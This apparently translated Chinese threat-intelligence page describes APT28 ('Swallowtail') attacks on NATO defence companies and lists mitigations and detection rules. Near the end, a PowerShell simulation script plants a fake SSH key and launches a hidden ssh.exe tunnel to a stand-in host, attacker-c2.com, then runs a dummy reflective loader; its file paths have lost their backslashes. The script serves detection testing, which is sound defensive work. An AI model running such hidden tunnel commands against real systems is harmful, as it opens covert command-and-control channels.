与俄罗斯有关联的燕尾组织瞄准北约国防部门企业
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
俄罗斯间谍组织 Swallowtail,也称为 APT28,进行了为期数月的入侵,目标是跨北约成员国的国防、海事和执法组织。攻击者部署了 Hookedge 后门和一个未记录的反射加载器,称为 ld.exe 以保持访问并在内存中执行负载。此次活动还涉及高级技术,例如使用 SSH 隧道进行持久网络访问和基于 PowerShell 的 NTLM 凭证窃取。
调查
Symantec 的威胁猎人团队追溯初始感染,发现是通过 Outlook 分发的启用宏的 Word 文档。分析人员识别出使用 webhook.site 和隐藏的 Microsoft Edge 实例来检索任务的交付和回调机制。攻击者还进行了手动操作,执行了侦察、内部网络探测、横向移动和凭证收集等操作,遍及受感染的环境。
缓解措施
组织应优先阻止已知的恶意 webhook.site 端点,并监控异常的 Microsoft Edge 行为,包括单像素或离屏浏览器窗口。应执行严格的出站流量过滤以防止未经授权的 SSH 连接,而安全团队应监控可疑的 PowerShell 监听器活动。终端保护还应检测反射加载和未经授权的凭证访问尝试。
响应
如果检测到与 Hookedge 相关的活动,响应者应立即隔离受影响的系统,以中断活动的 SSH 隧道和 C2 通信。进行详细的取证扫描,以查找未记录的文件,如 ld.exe ,并检查计划任务中是否存在持久机制。为可能在 NTLM 凭证窃取或 SSH 密钥泄露期间暴露的帐户执行全面的凭证重置。
攻击流程
检测
不寻常的更改代码页执行(通过命令行)
可能的系统枚举(通过命令行)
可能的账户或组枚举/操纵(通过命令行)
可能的系统网络配置发现(通过命令行)
LOLBAS WScript / CScript(通过进程创建)
可能的隧道工具使用 [Windows](通过命令行)
可能通过第三方服务/工具的数据渗透/外传/C2(通过命令行)
可疑的 CURL 使用(通过命令行)
可能通过 WebsiteHook 端点进行的恶意软件分发(通过代理)
可能通过 WebsiteHook 端点进行的恶意软件分发(通过 DNS)
IOC(HashSha256)检测:Swallowtail:俄罗斯间谍组织在两个北约国家的目标是国防公司
IOC(HashMd5)检测:Swallowtail:俄罗斯间谍组织在两个北约国家的目标是国防公司
IOC(SourceIP)检测:Swallowtail:俄罗斯间谍组织在两个北约国家的目标是国防公司
IOC(DestinationIP)检测:Swallowtail:俄罗斯间谍组织在两个北约国家的目标是国防公司
Swallowtail SSH 隧道和反射加载器检测 [Windows 进程创建]
通过本地 HTTP 监听器检测 NTLM 握手捕获 [Windows Powershell]
模拟执行
-
攻击叙述与命令: 对手打算建立一个持久的加密隧道连接到他们的指挥与控制(C2)基础设施。他们已将被盗的 SSH 私钥放入
C:ProgramDataAdobeid_rsa中,以混入合法软件元数据。然后,他们尝试使用ssh.exe来运行隧道。在建立隧道后,他们尝试使用名为ld.exe的自定义反射加载器将恶意负载加载到内存中。这些操作旨在通过使用合法工具(ssh.exe)和内存中执行(ld.exe). -
回归测试脚本:
# 1. 模拟 Swallowtail SSH 隧道 $dir = "C:ProgramDataAdobe" if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force } $keyPath = "$dirid_rsa" "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii # 通过精确命令行匹配触发 SSH 检测 Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden # 2. 模拟反射加载器执行 # 创建一个虚拟 ld.exe 以生成遥测 $dummyLoader = "C:WindowsTempld.exe" New-Item -ItemType File -Path $dummyLoader -Force # 注意:在真实场景中,这将是一个二进制文件;这里我们模拟进程创建事件 Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden -
清理命令:
# 删除模拟的恶意文件和目录 Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue